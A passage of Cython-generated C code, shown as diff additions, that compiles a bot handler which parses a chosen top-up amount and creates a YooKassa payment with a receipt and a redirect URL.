(PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + unsigned int __pyx_t_11; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + Py_UCS4 __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L13_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L16_resume_from_await; + case 4: goto __pyx_L17_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 101, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":105 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":107 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/yookassa_pay.py":108 + * + * if len(data) != 2: + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":107 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + } + + /* "handlers/payments/yookassa_pay.py":110 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":111 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":112 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * return + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":111 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":113 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_8) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 113, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_9); + + /* "handlers/payments/yookassa_pay.py":114 + * amount = int(amount_str) + * except ValueError: + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L8_except_return; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/yookassa_pay.py":111 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L8_except_return:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L0; + __pyx_L10_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":116 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 116, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":117 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + * ) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yookassa_pay.py":118 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_10}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 117, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 117, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":122 + * + * # state_data = await state.get_data() + * customer_name = callback_query.from_user.full_name # <<<<<<<<<<<<<< + * customer_id = callback_query.message.chat.id + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_customer_name = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":123 + * # state_data = await state.get_data() + * customer_name = callback_query.from_user.full_name + * customer_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * customer_email = f"{customer_id}@solo.net" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":125 + * customer_id = callback_query.message.chat.id + * + * customer_email = f"{customer_id}@solo.net" # <<<<<<<<<<<<<< + * + * payment = Payment.create( + */ + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_2, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_customer_email = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":127 + * customer_email = f"{customer_id}@solo.net" + * + * payment = Payment.create( # <<<<<<<<<<<<<< + * { + * "amount": {"value": str(amount), "currency": "RUB"}, + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":129 + * payment = Payment.create( + * { + * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< + * "confirmation": { + * "type": "redirect", + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_12 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_value, __pyx_t_12) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_amount, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":131 + * "amount": {"value": str(amount), "currency": "RUB"}, + * "confirmation": { + * "type": "redirect", # <<<<<<<<<<<<<< + * "return_url": "https://pocomacho.ru/success.html", + * }, + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 131, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_return_url, __pyx_kp_u_https_pocomacho_ru_success_html) < 0) __PYX_ERR(0, 131, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_confirmation, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":134 + * "return_url": "https://pocomacho.ru/success.html", + * }, + * "capture": True, # <<<<<<<<<<<<<< + * "description": " ", + * "receipt": { + */ + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":137 + * "description": " ", + * "receipt": { + * "customer": { # <<<<<<<<<<<<<< + * "full_name": customer_name, + * "email": customer_email, + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/yookassa_pay.py":138 + * "receipt": { + * "customer": { + * "full_name": customer_name, # <<<<<<<<<<<<<< + * "email": customer_email, + * "phone": "79000000000", + */ + __pyx_t_12 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_full_name, __pyx_cur_scope->__pyx_v_customer_name) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":139 + * "customer": { + * "full_name": customer_name, + * "email": customer_email, # <<<<<<<<<<<<<< + * "phone": "79000000000", + * }, + */ + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_customer_email) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_customer, __pyx_t_12) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/yookassa_pay.py":144 + * "items": [ + * { + * "description": " ", # <<<<<<<<<<<<<< + * "quantity": "1.00", + * "amount": {"value": str(amount), "currency": "RUB"}, + */ + __pyx_t_12 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":146 + * "description": " ", + * "quantity": "1.00", + * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< + * "vat_code": 1, + * } + */ + __pyx_t_13 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_value, __pyx_t_14) < 0) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 146, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_amount, __pyx_t_13) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":142 + * "phone": "79000000000", + * }, + * "items": [ # <<<<<<<<<<<<<< + * { + * "description": " ", + */ + __pyx_t_13 = PyList_New(1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_12); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_12)) __PYX_ERR(0, 142, __pyx_L1_error); + __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_items, __pyx_t_13) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_receipt, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":151 + * ], + * }, + * "metadata": {"user_id": customer_id}, # <<<<<<<<<<<<<< + * }, + * uuid.uuid4(), + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_customer_id) < 0) __PYX_ERR(0, 151, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_metadata, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":153 + * "metadata": {"user_id": customer_id}, + * }, + * uuid.uuid4(), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_uuid); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __pyx_t_12 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_12, __pyx_t_2, __pyx_t_9}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 2+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":156 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/yookassa_pay.py":157 + * + * if payment["status"] == "pending": + * payment_url = payment["confirmation"]["confirmation_url"] # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_10; + __pyx_t_10 = 0; + + /* 